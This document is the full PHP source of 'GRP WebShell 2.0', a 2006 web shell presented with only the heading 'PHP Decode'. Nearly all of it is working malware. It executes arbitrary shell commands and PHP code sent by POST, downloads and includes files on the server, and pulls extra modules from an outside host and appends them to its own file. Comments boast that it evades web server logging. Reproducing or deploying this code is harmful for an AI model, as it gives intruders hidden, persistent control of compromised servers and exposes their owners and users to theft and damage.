PHP Decode

<?php 
 
/* 
 * GReat's Post (GRP) web shell 
 * Shell uses POST queries to send data to the server, so logs on the webserver are absolutely clear ;) 
 * 
 * Coded by Great (C) 2006. 
 * All rights reserved 
 */ 
 
// Config 
 
// Enable BASIC authorization 
$auth = 0; 
// You really don't need to turn it on 
$devel = 0; 
// Allow images? 
$images = 0; 
// If $images=1, set this variable equal to the base URL for the images folder.png & file.png 
$images_url = "http://localhost/"; 
// Show errors? 
$errors = 1; 
// Modules path 
$modules_base = "http://cribble.by.ru/grp_mod/"; 
// Modules supported 
$modules = array("browse" => "File browser", "mysql" => "MySQL"); 
// Script version 
$script_release = "GRP WebShell 2.0 release build 2018 (C)2006,Great"; 
 
// Authorization 
 
$name='63191e4ece37523c9fe6bb62a5e64d45'; 
$pass='47ce56ef73da9dec757ef654e6aa1ca1'; 
$caption="Enter your login and password"; 
if ($auth &&  (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) || md5($HTTP_SERVER_VARS['PHP_AUTH_USER'])!=$name || md5($HTTP_SERVER_VARS['PHP_AUTH_PW'])!=$pass)) 
{ 
	header("WWW-Authenticate: Basic realm=\"$caption\""); 
	header("HTTP/1.0 401 Unauthorized"); 
	exit("<h1>Unauthorized access</h1>"); 
} 
 
if($errors) 
  error_reporting(E_ALL&~E_NOTICE); 
else 
  error_reporting(0); 
 
// Strip slashes 
 
if(get_magic_quotes_gpc()) 
{ 
 foreach(array("_POST", "_GET", "_FILES", "_COOKIE") as $ar) 
  foreach($GLOBALS[$ar] as $k=>$v) 
    $GLOBALS[$ar][$k] = stripslashes($v); 
} 
 
// Useful functions 
 
// Print post form 
function post_form($name, $params, $a="", $b="") 
{ 
  static $i=0; 
  echo "<form method='post' name='PostActForm$i'>
"; 
  foreach($params as $n=>$v) 
    echo "<input type='hidden' name='$n' value='$v'>
"; 
  echo "$a<a href='javascript:void(0);' onClick='document.PostActForm$i.submit()'>$name</a>$b</form>
"; 
  $i++; 
} 
 
// Print post form without confirmation link 
function post_empty_form($params) 
{ 
  static $i=0; 
  echo "<form method='post' name='PostEmptyForm$i'>
"; 
  foreach($params as $n=>$v) 
    echo "<input type='hidden' name='$n' value='$v'>
"; 
  echo "</form>
"; 
  $i++; 
  return $i-1; 
} 
 
// Print single confirmation link 
function submit_empty_form($i, $name) 
{ 
  echo "<a href='javascript:void(0);' onClick='document.PostEmptyForm$i.submit()'>$name</a>"; 
} 
 
// Print single confirmation link with a confirmation message box 
function confirm_empty_form($i, $name, $msg) 
{ 
  echo "<a href='javascript:void(0);' onClick='if(confirm(\"$msg\")){document.PostEmptyForm$i.submit()}'>$name</a>"; 
} 
 
// Redirect to URL $to 
function redirect($to) 
{ 
  echo "<meta http-equiv=\"refresh\" content=\"0;url='$to'\">"; 
} 
 
// Get string containing file permissions in the form 'lrwxrwxrwx' 
function filesperms($file) 
{ 
	$perms = fileperms($file); 
 
	if (($perms & 0xC000) == 0xC000) { 
	   // Socket 
	   $info = 's'; 
	} elseif (($perms & 0xA000) == 0xA000) { 
	   // Symbolic Link 
	   $info = 'l'; 
	} elseif (($perms & 0x8000) == 0x8000) { 
	   // Regular 
	   $info = '-'; 
	} elseif (($perms & 0x6000) == 0x6000) { 
	   // Block special 
	   $info = 'b'; 
	} elseif (($perms & 0x4000) == 0x4000) { 
	   // Directory 
	   $info = 'd'; 
	} elseif (($perms & 0x2000) == 0x2000) { 
	   // Character special 
	   $info = 'c'; 
	} elseif (($perms & 0x1000) == 0x1000) { 
	   // FIFO pipe 
	   $info = 'p'; 
	} else { 
	   // Unknown 
	   $info = 'u'; 
	} 
 
	// Owner 
	$info .= (($perms & 0x0100) ? 'r' : '-'); 
	$info .= (($perms & 0x0080) ? 'w' : '-'); 
	$info .= (($perms & 0x0040) ? 
	           (($perms & 0x0800) ? 's' : 'x' ) : 
	           (($perms & 0x0800) ? 'S' : '-')); 
 
	// Group 
	$info .= (($perms & 0x0020) ? 'r' : '-'); 
	$info .= (($perms & 0x0010) ? 'w' : '-'); 
	$info .= (($perms & 0x0008) ? 
	           (($perms & 0x0400) ? 's' : 'x' ) : 
	           (($perms & 0x0400) ? 'S' : '-')); 
 
	// World 
	$info .= (($perms & 0x0004) ? 'r' : '-'); 
	$info .= (($perms & 0x0002) ? 'w' : '-'); 
	$info .= (($perms & 0x0001) ? 
	           (($perms & 0x0200) ? 't' : 'x' ) : 
	           (($perms & 0x0200) ? 'T' : '-')); 
	return $info; 
} 
 
// Get string contaning file modification time 
function filesmtime($file) 
{ 
  return date ("d M Y H:i:s", filemtime($file)); 
} 
 
function headers() 
{ 
return "{$_SERVER['REQUEST_METHOD']} {$_SERVER['PHP_SELF']} {$_SERVER['SERVER_PROTOCOL']}\n 
Accept: {$_SERVER['HTTP_ACCEPT']}\n 
Accept-Charset: {$_SERVER['HTTP_ACCEPT_CHARSET']}\n 
Accept-Encoding: {$_SERVER['HTTP_ACCEPT_ENCODING']}\n 
Accept-Language: {$_SERVER['HTTP_ACCEPT_LANGUAGE']}\n 
Cache-Control: {$_SERVER['HTTP_CACHE_CONTROL']}\n 
Connection: {$_SERVER['HTTP_CONNECTION']}\n 
Host: {$_SERVER['HTTP_HOST']}\n 
User-Agent: {$_SERVER['HTTP_USER_AGENT']}\n 
"; 
} 
 
if($_POST['act']=='toolz' && $_POST['subact']=='phpinfo') 
  die(phpinfo()); 
 
if($_POST['act']=='downfile') 
{ 
  $curdir = $_POST['curdir']; 
  $file = $_POST['file']; 
 
  if(!file_exists($curdir.'/'.$file)) 
    die("Cannot find file ".$curdir.'/'.$file); 
  if(!is_file($curdir.'/'.$file)) 
    die($curdir.'/'.$file." is not a regular file"); 
 
  Header("Content-Type: application/x-octet-stream"); 
  Header("Content-Disposition: attachement;filename=".$file); 
 
  die(join('', file($curdir.'/'.$file))); 
} 
 
if($_POST['act']=='preview') 
{ 
  chdir($_POST['curdir']); 
  if(!file_exists($_POST['file'])) 
    die("Can't find file"); 
  $p=explode(".",$_POST['file']); 
  $ext=strtolower($p[count($p)-1]); 
  if(in_array($ext, array('png','jpg','jpeg','bmp','gif','tiff','pcx'))) 
    Header("Content-Type: image/$ext"); 
  elseif(in_array($ext, array('htm', 'html','plg'))) 
    Header("Content-Type: text/html"); 
  elseif(in_array($ext, array('php'))) 
  { include($_POST['file']); die;} 
  else 
    Header("Content-Type: text/plain"); 
  @readfile($_POST['file']); 
  die; 
} 
 
//--------------------------------- 
// Headers 
//--------------------------------- 
?> 
<html> 
<head> 
<title><?php echo $script_release;?></title> 
<style type='text/css'> 
A { text-decoration: none; color: white } 
</style> 
</head> 
<body bgcolor='black' vlink='blue' alink='blue' link='blue' text='white'> 
<noscript><br><br><br><h1 align='center'><font color='red'>You need JavaScript to be enabled to run this page!</font></h1><br><br><br></noscript> 
<?php // Navigation ?> 
<center> 
<table border=0 width=100%><tr><td><table border=0><tr> 
<form method='post' name='main_empty_form'><input type='hidden' name='act'><input type='hidden' name='curdir'><input type='hidden' name='file'><input type='hidden' name='subact'></form> 
<?php 
echo "<td><b>"; 
post_form("Shell", array(), "", " |"); 
 
$mod_loaded = array(); 
foreach($modules as $module=>$name) 
{ 
  if(function_exists("mod_".$module)) 
  { 
    echo "</b><td><b>"; 
    post_form($name, array("act" => $module), "", " |"); 
    $mod_loaded[] = $module; 
  } 
} 
 
echo "</b><td><b>"; 
post_form("Toolz", array("act" => "toolz")); 
 
echo "</table><td align=right width=50%>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<table style='border: 1px solid' width=100%><tr><td>"; 
echo "<b>Modules installed:</b>&nbsp;&nbsp;&nbsp;"; 
$first = 1; 
foreach($mod_loaded as $module) 
{ 
  if(!$first) 
    echo ", "; 
  if($module==$_POST['act']) 
    echo "<b>".$module."</b>"; 
  else 
    echo $module; 
  $first=0; 
} 
if($first==1) 
  echo "None"; 
?> 
<td align=right> 
<?php 
if(file_exists("grp_repair.php")) 
  echo "<input type='button' value='Repair' onClick='window.top.location.href=\"grp_repair.php\";' /><input type='button' value='Delete Repair' onClick='window.top.location.href=\"grp_repair.php?delete\";' /> "; 
?> 
<input type='button' value='Load more...' onClick='document.main_empty_form.act.value="load_modules";document.main_empty_form.submit();' /> 
</table></table> 
</center> 
<p> 
<table border=0> 
<tr><td> 
<table style='border: 1px solid' cellspacing=5> 
<tr><td colspan=2 align='center'><b>Server information</b> 
<tr><td> 
<?php 
$os = "unk"; 
$safe = @ini_get("safe_mode"); 
 
if($safe==1) 
{ 
	echo "<b>Safe Mode</b>&nbsp;&nbsp;<td>On<tr><td>"; 
} 
else 
{ 
	echo "<b>Operating system</b>&nbsp;&nbsp;<td>"; 
	$ver = exec("ver"); 
	if(substr($ver, 0, 9) == "Microsoft") 
	{ 
	  echo $ver; 
	  $os = "win"; 
	} 
	else 
	{ 
	  $id = exec("id"); 
	  if(substr($id, 0, 3) == "uid") 
	  { 
	    echo exec("uname -srn"); 
	    $os = "nix"; 
	  } 
	  else 
	    echo "Unknown, not a Windows "; 
	} 
	 
	if($os == "nix") 
	{ 
	  echo "<tr><td><b>id<b>&nbsp;&nbsp;<td>".exec("id")."</tr>"; 
	} 
} 
echo "<tr><td><b>Server software</b>&nbsp;&nbsp;<td>{$_SERVER['SERVER_SOFTWARE']}"; 
 
if($os == "nix") 
{ 
  $pwd = exec("pwd"); 
  $defcmd = "ls -liaF"; 
} 
elseif($os == "win") 
{ 
  $pwd = exec("cd"); 
  $defcmd = "dir"; 
} 
 
if(empty($pwd)) 
  $pwd = getcwd(); 
 
?> 
</table> 
<td> 
<table style='border: 1px solid' cellspacing=5> 
<tr><td colspan=2 align='center'><b>Client information</b> 
<tr><td><b>Client's IP</b>&nbsp;&nbsp;<td><a href="javascript:alert('Host: <?php echo gethostbyname($_SERVER['REMOTE_ADDR']); ?>');"><?php echo $_SERVER['REMOTE_ADDR'];?></a> 
<tr><td><b>Client's browser</b>&nbsp;&nbsp;<td><a href="javascript: alert('HTTP Headers:

<?php echo headers(); ?>');"><?php echo htmlspecialchars($_SERVER['HTTP_USER_AGENT']);?></a> 
</table> 
</table> 
<p> 
<?php 
//--------------------------------- 
// Parse parameters. Initializing. 
//--------------------------------- 
 
// Register globals 
if (ini_get('register_globals') != '1') 
{ 
  if (!empty($HTTP_POST_VARS)) 
    extract($HTTP_POST_VARS); 
   
  if (!empty($HTTP_GET_VARS)) 
    extract($HTTP_GET_VARS); 
 
  if (!empty($HTTP_SERVER_VARS)) 
    extract($HTTP_SERVER_VARS); 
} 
 
//--------------------------------- 
// Select action 
//--------------------------------- 
 
 
// Toolz 
if($_POST['act'] == 'toolz') 
{ 
?> 
<h3>Tools</h3> 
<?php 
$n1 = post_empty_form(array("act" => "toolz", "subact" => "phpinfo")); 
$n2 = post_empty_form(array("act" => "toolz", "subact" => "phpcode")); 
?> 
<ul> 
<li><?php submit_empty_form($n1, "Phpinfo"); ?> 
<li><?php submit_empty_form($n2, "Evaluate php code"); ?> 
</ul> 
<?php 
 
if($_POST['subact'] == "phpcode") 
{ 
  if(!isset($_POST['code'])) 
    $_POST['code'] = 'print_r($_SERVER);'; 
  echo "<br /><form method='post' name='phpcode'> 
        <input type='hidden' name='act' value='toolz'> 
        <input type='hidden' name='subact' value='phpcode'> 
        <input type='checkbox' name='pre'".(($_POST['pre']=="on")?" checked":"")."> 
         <a href=\"javascript:void(0);\" onClick=\"document.phpcode.pre.checked=!document.phpcode.pre.checked\">Append &lt;pre&gt; tags</a><br> 
        <textarea name='code' cols=70 rows=20>{$_POST['code']}</textarea> 
        <br /> 
        <input type='submit' name='go' value='Eval'> 
        </form>"; 
  if(isset($_POST['go'])) 
  { 
    echo "<p>Result is:<br />"; 
    if($_POST['pre']=="on") 
    { 
      echo "<pre>"; 
      eval($_POST['code']); 
      echo "</pre>"; 
    } 
    else 
      echo eval($_POST['code']); 
  } 
 
} 
?> 
</ul> 
<?php 
} 
 
elseif(function_exists("mod_".$_POST['act'])) 
{ 
  eval("mod_".$_POST['act']."();"); 
} 
 
elseif($_POST['act']=="load_modules") 
{ 
  echo "<h3>Module loader</h3>"; 
  if($_POST['subact']=='autoload') 
  { 
    $mod = join('', file($modules_base."mod_".$_POST['module'].".txt")); 
    if($mod===false) 
      die("Module is unavailable"); 
    //echo "Module:<br><textarea cols=50 rows=10 readonly>".htmlspecialchars($mod)."</textarea>"; 
    $parts = explode('/', $_SERVER['PHP_SELF']); 
    $name = $parts[count($parts)-1]; 
 
    // Backup 
    copy($name, "~".$name); 
 
    $f = fopen("grp_repair.php", "w"); 
    if($f) 
    { 
      $crlf = "
"; 
      fwrite($f, '<?php'.$crlf.'$name="'.$name.'";'.$crlf.'if($_SERVER[QUERY_STRING]=="delete") {unlink("grp_repair.php");unlink("~".$name);}else{'.$crlf.'unlink($name);'.$crlf.'rename("~".$name, $name);'.$crlf.'unlink("grp_repair.php");}'.$crlf.'?>'."<meta http-equiv=\"refresh\" content=\"0;url='$name'\">"); 
      fclose($f); 
      $repair=1; 
    } 
    else $repair=0; 
 
    $sh = fopen($name, "a+") or die("Can't open ".$name." to append module");; 
    fwrite($sh, $mod); 
    fclose($sh); 
    echo "<b><font color='green'>Module installed successfully</font></b><br /><b>WARNING!</b> Shell file has been backuped. If you'll have problems with installed module, you can "; 
    if($repair) 
      echo "run 'grp_repair.php' to forget changes"; 
    else 
      echo "backup file manually from '~".$name."' (shell was unable to create self-repairing module)"; 
    echo "<br /><small>You'll be automatically redirected in 3 seconds</small><meta http-equiv=\"refresh\" content=\"3;url=''\">"; 
  } 
 
  else 
  { 
    echo "<b>Supported modules are</b>: "; 
    $first = 1; 
    foreach($modules as $module=>$name) 
    { 
      if(!$first) 
        echo ", "; 
      echo $name." (".$module.")"; 
      $first=0; 
    } 
    if($first==1) 
      echo "None"; 
    echo "<br /><b>Modules base load URL</b>: $modules_base<p><font color='gray'><b>Modules can be installed:</b></font> 
          (<font color='green'>Ready</font>, <font color='red'>Failure</font>)<br />"; 
    foreach($modules as $module=>$name) 
    { 
      $mod_form[$module] = post_empty_form(array('act' => 'load_modules', 'subact' => 'autoload', 'module' => $module)); 
    } 
    echo "<table border=0>"; 
    foreach($modules as $module=>$name) 
    { 
      $pre  = "<font color='green'>"; 
      $post = "</font>"; 
      $mod = @join('', @file($modules_base."mod_".$module.".txt")); 
      if(!preg_match("#function mod_#i", $mod)) 
        $pre  = "<font color='red'>"; 
 
      echo "<tr><td>".$pre.$name." (".$module.")".$post."<td><a href='".$modules_base."mod_".$module.".txt' target=_blank>[SOURCE]</a><td>"; 
 
      if(function_exists("mod_".$module)) 
        echo "<font color='gray'>[ALREADY INSTALLED]</font>"; 
      elseif($pre == "<font color='green'>") 
        submit_empty_form($mod_form[$module], "[INSTALL]"); 
      else 
        echo "<font color='gray'>[CAN'T INSTALL]</font>"; 
      echo "</tr>"; 
    } 
    echo "</table>"; 
  } 
} 
 
// Shell 
else 
{ 
	// First we check if there has been asked for a working directory 
	if (!empty($work_dir)) { 
	  // A workdir has been asked for 
	  if (!empty($command)) { 
	    if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) { 
	      // We try and match a cd command 
	      if ($regs[1][0] == '/') { 
	        $new_dir = $regs[1]; // 'cd /something/...' 
	      } else { 
	        $new_dir = $work_dir . '/' . $regs[1]; // 'cd somedir/...' 
	      } 
	      if (file_exists($new_dir) && is_dir($new_dir)) { 
	        $work_dir = $new_dir; 
	      } 
	      unset($command); 
	    } 
	  } 
	} 
 
unset($curdir); 
if($safe == 1) 
{ 
  die("<font color='red'><b>Safe mode is turned On! Command line is unavailable</b></font>"); 
} 
 
if(isset($_POST["curdir"])) 
  $curdir = $_POST["curdir"]; 
else 
  $curdir = $pwd; 
if($os == "win") 
  $curdir = str_replace("/", "\", $curdir); 
?> 
<form name="execform" method="post"> 
<table border=0> 
<tr><td>Command: <td><input type="text" name="command" size="60" value="<?php echo ($_POST["command"]=="")?$defcmd:$_POST["command"];?>"> 
    <td><a href="#" onClick="document.execform.command.value='<?php echo $defcmd;?>'">Set default [<?php echo $defcmd; ?>]</a> 
<tr><td><a href="#" onClick="document.execform.stderr.checked=!document.execform.stderr.checked">Disable stderr-grabbing?</a><td><input type="checkbox" name="stderr"<?php echo ($_POST["stderr"]=="on")?" checked":"";?>> 
<tr><td>Working directory:<td><input type="text" name="curdir" size="60" value="<?php echo $curdir;?>"> 
    <td><a href="#" onClick="document.execform.curdir.value='<?php echo addslashes($pwd);?>'">Restore as home directory [<?php echo htmlspecialchars($pwd); ?>]</a> 
<tr><td colspan=2><input name="submit_btn" type="submit" value="Execute Command"> 
</table> 
</form> 
<textarea cols="80" rows="29" readonly> 
<?php 
function excmd($cmd) 
{ 
  if(function_exists("system")) 
  { system($cmd); return true; } 
  if(function_exists("exec")) 
  { exec($cmd, $var); echo join("
", $var); return true; } 
  if(function_exists("passthru")) 
  { passthru($cmd); return true; } 
  return false; 
} 
if (!empty($command)) { 
  if (!$stderr) 
    $command .= " 2>&1"; 
  if($os == "nix") 
    excmd("cd $curdir; $command"); 
  elseif($os == "win") 
    excmd("cd $curdir & $command"); 
  elseif($os == "unk") 
  { 
    chdir($curdir); 
    excmd($command); 
  } 
} 
?> 
</textarea> 
</form> 
<script language="JavaScript" type="text/javascript"> 
document.execform.command.focus(); 
</script> 
<?php 
} 
 
//--------------------------------- 
// Footer 
//--------------------------------- 
?> 
</body> 
</html> 
 
<?php // Is it really very interesting? :) ?>